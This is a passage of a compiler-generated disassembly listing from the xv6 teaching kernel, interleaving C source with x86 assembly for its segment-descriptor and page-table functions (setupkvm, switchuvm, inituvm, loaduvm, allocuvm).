80106c1f: 66 89 8a 8a 00 00 00 mov %cx,0x8a(%edx)
80106c26: 89 cb mov %ecx,%ebx
80106c28: c1 e9 18 shr $0x18,%ecx
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106c2b: c6 80 3d 28 11 80 f2 movb $0xf2,-0x7feed7c3(%eax)
80106c32: c6 80 3e 28 11 80 cf movb $0xcf,-0x7feed7c2(%eax)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80106c39: 88 8a 8f 00 00 00 mov %cl,0x8f(%edx)
80106c3f: c6 80 2d 28 11 80 92 movb $0x92,-0x7feed7d3(%eax)
static inline void
lgdt(struct segdesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
80106c46: b9 37 00 00 00 mov $0x37,%ecx
80106c4b: c6 80 2e 28 11 80 c0 movb $0xc0,-0x7feed7d2(%eax)
lgdt(c->gdt, sizeof(c->gdt));
80106c52: 05 10 28 11 80 add $0x80112810,%eax
80106c57: 66 89 4d f2 mov %cx,-0xe(%ebp)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80106c5b: c1 eb 10 shr $0x10,%ebx
pd[1] = (uint)p;
80106c5e: 66 89 45 f4 mov %ax,-0xc(%ebp)
pd[2] = (uint)p >> 16;
80106c62: c1 e8 10 shr $0x10,%eax
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106c65: c6 42 7c 00 movb $0x0,0x7c(%edx)
80106c69: c6 42 7f 00 movb $0x0,0x7f(%edx)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106c6d: c6 82 84 00 00 00 00 movb $0x0,0x84(%edx)
80106c74: c6 82 87 00 00 00 00 movb $0x0,0x87(%edx)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106c7b: c6 82 94 00 00 00 00 movb $0x0,0x94(%edx)
80106c82: c6 82 97 00 00 00 00 movb $0x0,0x97(%edx)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106c89: c6 82 9c 00 00 00 00 movb $0x0,0x9c(%edx)
80106c90: c6 82 9f 00 00 00 00 movb $0x0,0x9f(%edx)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80106c97: 88 9a 8c 00 00 00 mov %bl,0x8c(%edx)
80106c9d: 66 89 45 f6 mov %ax,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
80106ca1: 8d 45 f2 lea -0xe(%ebp),%eax
80106ca4: 0f 01 10 lgdtl (%eax)
}
static inline void
loadgs(ushort v)
{
asm volatile("movw %0, %%gs" : : "r" (v));
80106ca7: b8 18 00 00 00 mov $0x18,%eax
80106cac: 8e e8 mov %eax,%gs
lgdt(c->gdt, sizeof(c->gdt));
loadgs(SEG_KCPU << 3);
// Initialize cpu-local storage.
cpu = c;
proc = 0;
80106cae: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80106cb5: 00 00 00 00
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
80106cb9: 65 89 15 00 00 00 00 mov %edx,%gs:0x0
loadgs(SEG_KCPU << 3);
// Initialize cpu-local storage.
cpu = c;
proc = 0;
}
80106cc0: 83 c4 14 add $0x14,%esp
80106cc3: 5b pop %ebx
80106cc4: 5d pop %ebp
80106cc5: c3 ret
80106cc6: 8d 76 00 lea 0x0(%esi),%esi
80106cc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106cd0 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
80106cd0: 55 push %ebp
80106cd1: 89 e5 mov %esp,%ebp
80106cd3: 56 push %esi
80106cd4: 53 push %ebx
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
80106cd5: e8 96 b7 ff ff call 80102470 <kalloc>
80106cda: 85 c0 test %eax,%eax
80106cdc: 74 52 je 80106d30 <setupkvm+0x60>
return 0;
memset(pgdir, 0, PGSIZE);
80106cde: 83 ec 04 sub $0x4,%esp
80106ce1: 89 c6 mov %eax,%esi
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106ce3: bb 20 a4 10 80 mov $0x8010a420,%ebx
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
80106ce8: 68 00 10 00 00 push $0x1000
80106ced: 6a 00 push $0x0
80106cef: 50 push %eax
80106cf0: e8 4b da ff ff call 80104740 <memset>
80106cf5: 83 c4 10 add $0x10,%esp
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80106cf8: 8b 43 04 mov 0x4(%ebx),%eax
80106cfb: 8b 4b 08 mov 0x8(%ebx),%ecx
80106cfe: 83 ec 08 sub $0x8,%esp
80106d01: 8b 13 mov (%ebx),%edx
80106d03: ff 73 0c pushl 0xc(%ebx)
80106d06: 50 push %eax
80106d07: 29 c1 sub %eax,%ecx
80106d09: 89 f0 mov %esi,%eax
80106d0b: e8 40 fd ff ff call 80106a50 <mappages>
80106d10: 83 c4 10 add $0x10,%esp
80106d13: 85 c0 test %eax,%eax
80106d15: 78 19 js 80106d30 <setupkvm+0x60>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106d17: 83 c3 10 add $0x10,%ebx
80106d1a: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80106d20: 75 d6 jne 80106cf8 <setupkvm+0x28>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
}
80106d22: 8d 65 f8 lea -0x8(%ebp),%esp
80106d25: 89 f0 mov %esi,%eax
80106d27: 5b pop %ebx
80106d28: 5e pop %esi
80106d29: 5d pop %ebp
80106d2a: c3 ret
80106d2b: 90 nop
80106d2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106d30: 8d 65 f8 lea -0x8(%ebp),%esp
{
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
80106d33: 31 c0 xor %eax,%eax
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
}
80106d35: 5b pop %ebx
80106d36: 5e pop %esi
80106d37: 5d pop %ebp
80106d38: c3 ret
80106d39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106d40 <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(void)
{
80106d40: 55 push %ebp
80106d41: 89 e5 mov %esp,%ebp
80106d43: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80106d46: e8 85 ff ff ff call 80106cd0 <setupkvm>
80106d4b: a3 24 56 11 80 mov %eax,0x80115624
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
80106d50: 05 00 00 00 80 add $0x80000000,%eax
80106d55: 0f 22 d8 mov %eax,%cr3
switchkvm();
}
80106d58: c9 leave
80106d59: c3 ret
80106d5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106d60 <switchkvm>:
80106d60: a1 24 56 11 80 mov 0x80115624,%eax
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
80106d65: 55 push %ebp
80106d66: 89 e5 mov %esp,%ebp
80106d68: 05 00 00 00 80 add $0x80000000,%eax
80106d6d: 0f 22 d8 mov %eax,%cr3
lcr3(V2P(kpgdir)); // switch to the kernel page table
}
80106d70: 5d pop %ebp
80106d71: c3 ret
80106d72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106d79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106d80 <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
80106d80: 55 push %ebp
80106d81: 89 e5 mov %esp,%ebp
80106d83: 53 push %ebx
80106d84: 83 ec 04 sub $0x4,%esp
80106d87: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p == 0)
80106d8a: 85 db test %ebx,%ebx
80106d8c: 0f 84 93 00 00 00 je 80106e25 <switchuvm+0xa5>
panic("switchuvm: no process");
if(p->kstack == 0)
80106d92: 8b 43 08 mov 0x8(%ebx),%eax
80106d95: 85 c0 test %eax,%eax
80106d97: 0f 84 a2 00 00 00 je 80106e3f <switchuvm+0xbf>
panic("switchuvm: no kstack");
if(p->pgdir == 0)
80106d9d: 8b 43 04 mov 0x4(%ebx),%eax
80106da0: 85 c0 test %eax,%eax
80106da2: 0f 84 8a 00 00 00 je 80106e32 <switchuvm+0xb2>
panic("switchuvm: no pgdir");
pushcli();
80106da8: e8 c3 d8 ff ff call 80104670 <pushcli>
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80106dad: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106db3: b9 67 00 00 00 mov $0x67,%ecx
80106db8: 8d 50 08 lea 0x8(%eax),%edx
80106dbb: 66 89 88 a0 00 00 00 mov %cx,0xa0(%eax)
80106dc2: c6 80 a6 00 00 00 40 movb $0x40,0xa6(%eax)
cpu->gdt[SEG_TSS].s = 0;
80106dc9: c6 80 a5 00 00 00 89 movb $0x89,0xa5(%eax)
panic("switchuvm: no kstack");
if(p->pgdir == 0)
panic("switchuvm: no pgdir");
pushcli();
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80106dd0: 66 89 90 a2 00 00 00 mov %dx,0xa2(%eax)
80106dd7: 89 d1 mov %edx,%ecx
80106dd9: c1 ea 18 shr $0x18,%edx
80106ddc: 88 90 a7 00 00 00 mov %dl,0xa7(%eax)
80106de2: c1 e9 10 shr $0x10,%ecx
cpu->gdt[SEG_TSS].s = 0;
cpu->ts.ss0 = SEG_KDATA << 3;
80106de5: ba 10 00 00 00 mov $0x10,%edx
80106dea: 66 89 50 10 mov %dx,0x10(%eax)
panic("switchuvm: no kstack");
if(p->pgdir == 0)
panic("switchuvm: no pgdir");
pushcli();
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80106dee: 88 88 a4 00 00 00 mov %cl,0xa4(%eax)
cpu->gdt[SEG_TSS].s = 0;
cpu->ts.ss0 = SEG_KDATA << 3;
cpu->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
80106df4: 8b 4b 08 mov 0x8(%ebx),%ecx
80106df7: 8d 91 00 10 00 00 lea 0x1000(%ecx),%edx
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
cpu->ts.iomb = (ushort) 0xFFFF;
80106dfd: b9 ff ff ff ff mov $0xffffffff,%ecx
80106e02: 66 89 48 6e mov %cx,0x6e(%eax)
pushcli();
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
cpu->gdt[SEG_TSS].s = 0;
cpu->ts.ss0 = SEG_KDATA << 3;
cpu->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
80106e06: 89 50 0c mov %edx,0xc(%eax)
}
static inline void
ltr(ushort sel)
{
asm volatile("ltr %0" : : "r" (sel));
80106e09: b8 30 00 00 00 mov $0x30,%eax
80106e0e: 0f 00 d8 ltr %ax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
80106e11: 8b 43 04 mov 0x4(%ebx),%eax
80106e14: 05 00 00 00 80 add $0x80000000,%eax
80106e19: 0f 22 d8 mov %eax,%cr3
// forbids I/O instructions (e.g., inb and outb) from user space
cpu->ts.iomb = (ushort) 0xFFFF;
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
popcli();
}
80106e1c: 8b 5d fc mov -0x4(%ebp),%ebx
80106e1f: c9 leave
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
cpu->ts.iomb = (ushort) 0xFFFF;
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
popcli();
80106e20: e9 7b d8 ff ff jmp 801046a0 <popcli>
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
80106e25: 83 ec 0c sub $0xc,%esp
80106e28: 68 3e 7c 10 80 push $0x80107c3e
80106e2d: e8 3e 95 ff ff call 80100370 <panic>
if(p->kstack == 0)
panic("switchuvm: no kstack");
if(p->pgdir == 0)
panic("switchuvm: no pgdir");
80106e32: 83 ec 0c sub $0xc,%esp
80106e35: 68 69 7c 10 80 push $0x80107c69
80106e3a: e8 31 95 ff ff call 80100370 <panic>
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
if(p->kstack == 0)
panic("switchuvm: no kstack");
80106e3f: 83 ec 0c sub $0xc,%esp
80106e42: 68 54 7c 10 80 push $0x80107c54
80106e47: e8 24 95 ff ff call 80100370 <panic>
80106e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106e50 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80106e50: 55 push %ebp
80106e51: 89 e5 mov %esp,%ebp
80106e53: 57 push %edi
80106e54: 56 push %esi
80106e55: 53 push %ebx
80106e56: 83 ec 1c sub $0x1c,%esp
80106e59: 8b 75 10 mov 0x10(%ebp),%esi
80106e5c: 8b 45 08 mov 0x8(%ebp),%eax
80106e5f: 8b 7d 0c mov 0xc(%ebp),%edi
char *mem;
if(sz >= PGSIZE)
80106e62: 81 fe ff 0f 00 00 cmp $0xfff,%esi
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80106e68: 89 45 e4 mov %eax,-0x1c(%ebp)
char *mem;
if(sz >= PGSIZE)
80106e6b: 77 49 ja 80106eb6 <inituvm+0x66>
panic("inituvm: more than a page");
mem = kalloc();
80106e6d: e8 fe b5 ff ff call 80102470 <kalloc>
memset(mem, 0, PGSIZE);
80106e72: 83 ec 04 sub $0x4,%esp
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
80106e75: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
80106e77: 68 00 10 00 00 push $0x1000
80106e7c: 6a 00 push $0x0
80106e7e: 50 push %eax
80106e7f: e8 bc d8 ff ff call 80104740 <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
80106e84: 58 pop %eax
80106e85: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106e8b: b9 00 10 00 00 mov $0x1000,%ecx
80106e90: 5a pop %edx
80106e91: 6a 06 push $0x6
80106e93: 50 push %eax
80106e94: 31 d2 xor %edx,%edx
80106e96: 8b 45 e4 mov -0x1c(%ebp),%eax
80106e99: e8 b2 fb ff ff call 80106a50 <mappages>
memmove(mem, init, sz);
80106e9e: 89 75 10 mov %esi,0x10(%ebp)
80106ea1: 89 7d 0c mov %edi,0xc(%ebp)
80106ea4: 83 c4 10 add $0x10,%esp
80106ea7: 89 5d 08 mov %ebx,0x8(%ebp)
}
80106eaa: 8d 65 f4 lea -0xc(%ebp),%esp
80106ead: 5b pop %ebx
80106eae: 5e pop %esi
80106eaf: 5f pop %edi
80106eb0: 5d pop %ebp
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
memset(mem, 0, PGSIZE);
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
memmove(mem, init, sz);
80106eb1: e9 3a d9 ff ff jmp 801047f0 <memmove>
inituvm(pde_t *pgdir, char *init, uint sz)
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
80106eb6: 83 ec 0c sub $0xc,%esp
80106eb9: 68 7d 7c 10 80 push $0x80107c7d
80106ebe: e8 ad 94 ff ff call 80100370 <panic>
80106ec3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106ec9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106ed0 <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
80106ed0: 55 push %ebp
80106ed1: 89 e5 mov %esp,%ebp
80106ed3: 57 push %edi
80106ed4: 56 push %esi
80106ed5: 53 push %ebx
80106ed6: 83 ec 0c sub $0xc,%esp
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
80106ed9: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
80106ee0: 0f 85 91 00 00 00 jne 80106f77 <loaduvm+0xa7>
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
80106ee6: 8b 75 18 mov 0x18(%ebp),%esi
80106ee9: 31 db xor %ebx,%ebx
80106eeb: 85 f6 test %esi,%esi
80106eed: 75 1a jne 80106f09 <loaduvm+0x39>
80106eef: eb 6f jmp 80106f60 <loaduvm+0x90>
80106ef1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ef8: 81 c3 00 10 00 00 add $0x1000,%ebx
80106efe: 81 ee 00 10 00 00 sub $0x1000,%esi
80106f04: 39 5d 18 cmp %ebx,0x18(%ebp)
80106f07: 76 57 jbe 80106f60 <loaduvm+0x90>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80106f09: 8b 55 0c mov 0xc(%ebp),%edx
80106f0c: 8b 45 08 mov 0x8(%ebp),%eax
80106f0f: 31 c9 xor %ecx,%ecx
80106f11: 01 da add %ebx,%edx
80106f13: e8 b8 fa ff ff call 801069d0 <walkpgdir>
80106f18: 85 c0 test %eax,%eax
80106f1a: 74 4e je 80106f6a <loaduvm+0x9a>
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
80106f1c: 8b 00 mov (%eax),%eax
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
80106f1e: 8b 4d 14 mov 0x14(%ebp),%ecx
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
if(sz - i < PGSIZE)
80106f21: bf 00 10 00 00 mov $0x1000,%edi
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
80106f26: 25 00 f0 ff ff and $0xfffff000,%eax
if(sz - i < PGSIZE)
80106f2b: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106f31: 0f 46 fe cmovbe %esi,%edi
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
80106f34: 01 d9 add %ebx,%ecx
80106f36: 05 00 00 00 80 add $0x80000000,%eax
80106f3b: 57 push %edi
80106f3c: 51 push %ecx
80106f3d: 50 push %eax
80106f3e: ff 75 10 pushl 0x10(%ebp)
80106f41: e8 ca a9 ff ff call 80101910 <readi>
80106f46: 83 c4 10 add $0x10,%esp
80106f49: 39 c7 cmp %eax,%edi
80106f4b: 74 ab je 80106ef8 <loaduvm+0x28>
return -1;
}
return 0;
}
80106f4d: 8d 65 f4 lea -0xc(%ebp),%esp
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
80106f50: b8 ff ff ff ff mov $0xffffffff,%eax
}
return 0;
}
80106f55: 5b pop %ebx
80106f56: 5e pop %esi
80106f57: 5f pop %edi
80106f58: 5d pop %ebp
80106f59: c3 ret
80106f5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106f60: 8d 65 f4 lea -0xc(%ebp),%esp
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
}
return 0;
80106f63: 31 c0 xor %eax,%eax
}
80106f65: 5b pop %ebx
80106f66: 5e pop %esi
80106f67: 5f pop %edi
80106f68: 5d pop %ebp
80106f69: c3 ret
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
80106f6a: 83 ec 0c sub $0xc,%esp
80106f6d: 68 97 7c 10 80 push $0x80107c97
80106f72: e8 f9 93 ff ff call 80100370 <panic>
{
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
80106f77: 83 ec 0c sub $0xc,%esp
80106f7a: 68 38 7d 10 80 push $0x80107d38
80106f7f: e8 ec 93 ff ff call 80100370 <panic>
80106f84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106f8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106f90 <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106f90: 55 push %ebp
80106f91: 89 e5 mov %esp,%ebp
80106f93: 57 push %edi
80106f94: 56 push %esi
80106f95: 53 push %ebx
80106f96: 83 ec 0c sub $0xc,%esp
80106f99: 8b 7d 10 mov 0x10(%ebp),%edi
char *mem;
uint a;
if(newsz >= KERNBASE)
80106f9c: 85 ff test %edi,%edi
80106f9e: 0f 88 ca 00 00 00 js 8010706e <allocuvm+0xde>
return 0;
if(newsz < oldsz)
80106fa4: 3b 7d 0c cmp 0xc(%ebp),%edi
return oldsz;
80106fa7: 8b 45 0c mov 0xc(%ebp),%eax
char *mem;
uint a;
if(newsz >= KERNBASE)
return 0;
if(newsz < oldsz)
80106faa: 0f 82 82 00 00 00 jb 80107032 <allocuvm+0xa2>
return oldsz;
a = PGROUNDUP(oldsz);
80106fb0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80106fb6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < newsz; a += PGSIZE){
80106fbc: 39 df cmp %ebx,%edi
80106fbe: 77 43 ja 80107003 <allocuvm+0x73>
80106fc0: e9 bb 00 00 00 jmp 80107080 <allocuvm+0xf0>
80106fc5: 8d 76 00 lea 0x0(%esi),%esi
if(mem == 0){
cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
80106fc8: 83 ec 04 sub $0x4,%esp
80106fcb: 68 00 10 00 00 push $0x1000
80106fd0: 6a 00 push $0x0
80106fd2: 50 push %eax
80106fd3: e8 68 d7 ff ff call 80104740 <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
80106fd8: 58 pop %eax
80106fd9: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106fdf: b9 00 10 00 00 mov $0x1000,%ecx
80106fe4: 5a pop %edx
80106fe5: 6a 06 push $0x6
80106fe7: 50 push %eax
80106fe8: 89 da mov %ebx,%edx
80106fea: 8b 45 08 mov 0x8(%ebp),%eax
80106fed: e8 5e fa ff ff call 80106a50 <mappages>
80106ff2: 83 c4 10 add $0x10,%esp
80106ff5: 85 c0 test %eax,%eax
80106ff7: 78 47 js 80107040 <allocuvm+0xb0>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
80106ff9: 81 c3 00 10 00 00 add $0x1000,%ebx
80106fff: 39 df cmp %ebx,%edi
80107001: 76 7d jbe 80107080 <allocuvm+0xf0>
mem = kalloc();
80107003: e8 68 b4 ff ff call 80102470 <kalloc>
if(mem == 0){
80107008: 85 c0 test %eax,%eax
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
mem = kalloc();
8010700a: 89 c6 mov %eax,%esi
if(mem == 0){
8010700c: 75 ba jne 80106fc8 <allocuvm+0x38>
cprintf("allocuvm out of memory\n");
8010700e: 83 ec 0c sub $0xc,%esp
80107011: 68 b5 7c 10 80 push $0x80107cb5
80107016: e8 45 96 ff ff call 80100660 <cprintf>
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
8010701b: 83 c4 10 add $0x10,%esp
8010701e: 3b 7d 0c cmp 0xc(%ebp),%edi
80107021: 76 4b jbe 8010706e <allocuvm+0xde>
80107023: 8b 4d 0c mov 0xc(%ebp),%ecx
80107026: 8b 45 08 mov 0x8(%ebp),%eax
80107029: 89 fa mov %edi,%edx
8010702b: e8 b0 fa ff ff call 80106ae0 <deallocuvm.part.0>
for(; a < newsz; a += PGSIZE){
mem = kalloc();
if(mem == 0){
cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
return 0;
80107030: 31 c0 xor %eax,%eax
kfree(mem);
return 0;
}
}
return newsz;
}
80107032: 8d 65 f4 lea -0xc(%ebp),%esp
80107035: 5b pop %ebx
80107036: 5e pop %esi
80107037: 5f pop %edi
80107038: 5d pop %ebp
80107039: c3 ret
8010703a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
80107040: 83 ec 0c sub $0xc,%esp
80107043: 68 cd 7c 10 80 push $0x80107ccd
80107048: e8 13 96 ff ff call 80100660 <cprintf>
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
8010704d: 83 c4 10 add $0x10,%esp
80107050: 3b 7d 0c cmp 0xc(%ebp),%edi
80107053: 76 0d jbe 80107062 <allocuvm+0xd2>
80107055: 8b 4d 0c mov 0xc(%ebp),%ecx
80107058: 8b 45 08 mov 0x8(%ebp),%eax
8010705b: 89 fa mov %edi,%edx
8010705d: e8 7e fa ff ff call 80106ae0 <deallocuvm.part.0>
}
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
deallocuvm(pgdir, newsz, oldsz);
kfree(mem);
80107062: 83 ec 0c sub $0xc,%esp
80107065: 56 push %esi
80107066: e8 55 b2 ff ff call 801022c0 <kfree>
return 0;
8010706b: 83 c4 10 add $0x10,%esp
}
}
return newsz;
}
8010706e: 8d 65 f4 lea -0xc(%ebp),%esp
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
deallocuvm(pgdir, newsz, oldsz);
kfree(mem);
return 0;
80107071: 31 c0 xor %eax,%eax
}
}
return newsz;
}
80107073: 5b pop %ebx
80107074: 5e pop %esi
80107075: 5f pop %edi
80107076: 5d pop %ebp
80107077: c3 ret
80107078: 90 nop
80107079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107080: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
80107083: 89 f8 mov %edi,%eax
kfree(mem);
return 0;
}
}
return newsz;
}
80107085: 5b pop %ebx
80107086: 5e pop %esi
80107087: 5f pop %edi
80107088: 5d pop %ebp
80107089: c3 ret
8010708a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80107090 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
